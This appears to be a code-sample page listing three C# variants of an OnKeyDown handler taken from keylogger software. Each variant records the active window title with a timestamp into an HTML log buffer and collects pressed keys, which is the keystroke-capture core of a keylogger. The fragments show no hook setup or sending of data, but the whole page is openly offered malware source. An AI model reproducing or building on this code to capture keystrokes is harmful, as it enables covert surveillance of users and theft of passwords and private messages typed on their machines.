Beispiel #1
0
        private void OnKeyDown(object sender, KeyEventArgs e)                  //Called first
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + activeWindowTitle + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                // The key was not part of the keys that we wish to filter, so
                // be sure to prevent a situation where multiple keys are pressed.
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Beispiel #2
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            var windowTitle = KeyloggerHelper.GetActiveWindowTitle();

            if (!string.IsNullOrEmpty(windowTitle) && (m_lastWindowTitle != windowTitle))
            {
                m_lastWindowTitle = windowTitle;
                AppendLine(string.Empty);
                AppendNewWindowName();
            }

            if (m_pressedKeys.IsModifierKeysSet())
            {
                if (!m_pressedKeys.Contains(e.KeyCode))
                {
                    m_pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                if (!m_pressedKeys.Contains(e.KeyCode))
                {
                    m_pressedKeys.Add(e.KeyCode);
                }
            }
        }
Beispiel #3
0
        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle();

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + KeyloggerHelper.Filter(activeWindowTitle) + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }